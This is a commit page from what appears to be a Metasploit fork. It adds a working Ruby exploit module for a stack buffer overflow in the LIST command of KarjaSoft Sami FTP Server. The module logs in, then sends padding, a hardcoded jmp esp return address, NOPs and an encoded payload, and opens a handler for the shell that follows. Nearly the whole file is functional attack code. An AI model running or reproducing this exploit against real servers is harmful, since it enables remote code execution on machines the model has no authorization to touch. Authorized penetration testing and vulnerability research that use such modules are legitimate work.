Skip to content

Commit fa5c988

Browse files
committed
got sami_ftpd_list.rb working
1 parent 22133ba commit fa5c988

File tree

1 file changed

+79
-0
lines changed

1 file changed

+79
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
#include Msf::Exploit::Remote::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'KarjaSoft Sami FTP Server LIST Overflow',
19+
'Description' => %q{
20+
A buffer overflow is triggered when a long LIST command is sent to the
21+
server and the user views the Log tab.
22+
},
23+
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'OSVDB', '90815'],
28+
[ 'EDB', '24557'],
29+
],
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'seh',
33+
},
34+
'Platform' => ['win'],
35+
'Privileged' => false,
36+
'Payload' =>
37+
{
38+
'Space' => 950,
39+
'BadChars' => "\x00\x0a\x0d\x20\xff",
40+
#'StackAdjustment' => -3500,
41+
},
42+
'Targets' =>
43+
[
44+
[ 'Universal', { 'Ret' => 0x10028283 } ], # jmp esp
45+
],
46+
'DisclosureDate' => 'Feb 27 2013'))
47+
48+
register_options(
49+
[
50+
Opt::RPORT(21),
51+
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
52+
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
53+
], self.class)
54+
end
55+
56+
def exploit
57+
connect
58+
59+
buf = rand_text_alphanumeric(219)
60+
buf << [target.ret].pack("V")
61+
buf << make_nops(50) + payload.encoded
62+
sock.put("USER #{datastore['FTPUSER']}\r\n")
63+
sock.put("PASS #{datastore['FTPPASS']}\r\n")
64+
res = sock.get(-1,3)
65+
if(res.match(/230 Access allowed\./))
66+
print_good("Login successful")
67+
else
68+
print_status("Bad username/password")
69+
end
70+
sleep 1
71+
72+
print_status("Sending evil LIST command")
73+
sock.put("LIST #{buf}\r\n")
74+
75+
handler
76+
disconnect
77+
end
78+
79+
end

0 commit comments

Comments
 (0)